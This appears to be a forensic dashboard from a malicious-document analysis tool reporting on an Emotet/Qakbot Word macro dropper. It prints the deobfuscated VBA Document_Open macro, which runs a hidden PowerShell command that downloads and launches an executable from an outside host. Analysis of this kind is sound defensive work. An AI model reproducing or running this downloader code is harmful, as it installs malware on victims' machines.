SPECIALTY RE: MALICIOUS DOCUMENTS

Maldoc & OLEdump Dissector

Deep forensic analysis of weaponized Word, Excel, RTF, and OLE container documents. Extract hidden VBA / XLM streams, deobfuscate `Chr()` and `StrReverse()` stagers, and uncover remote template injections.

Document Type

Word (.docm)

Size: 84.2 KB

Threat Severity

Critical

Emotet / Qakbot VBA Downloader Dropper

OLE Streams Count

5 Streams (3 Macros)

oledump.py indexing

Auto-Execution Hooks

3 Triggers

Document_Open(), AutoOpen(), UserForm_Initialize()

Auto-detected Triggers: Document_Open(), AutoOpen(), UserForm_Initialize()

CERBERUS Normalized & Deobfuscated Macro Payload

VBA Autostart Execution (T1204.002)

Sub Document_Open()
  ' [CERBERUS AUTO-DEOBFUSCATION RESOLVED]
  ' Chr() strings resolved: "powershell" and "WScript.Shell"
  ' StrReverse() resolved: "http://fastloader.com/drope.exe"
  
  Dim cmd As String
  cmd = "powershell -w hidden -c (New-Object Net.WebClient).DownloadFile('http://fastloader.com/drope.exe','C:\ProgramData\payload.exe'); Start-Process 'C:\ProgramData\payload.exe'"
  
  Set wscript = CreateObject("WScript.Shell")
  wscript.Run cmd, 0 ' WindowStyle: 0 (SW_HIDE)
End Sub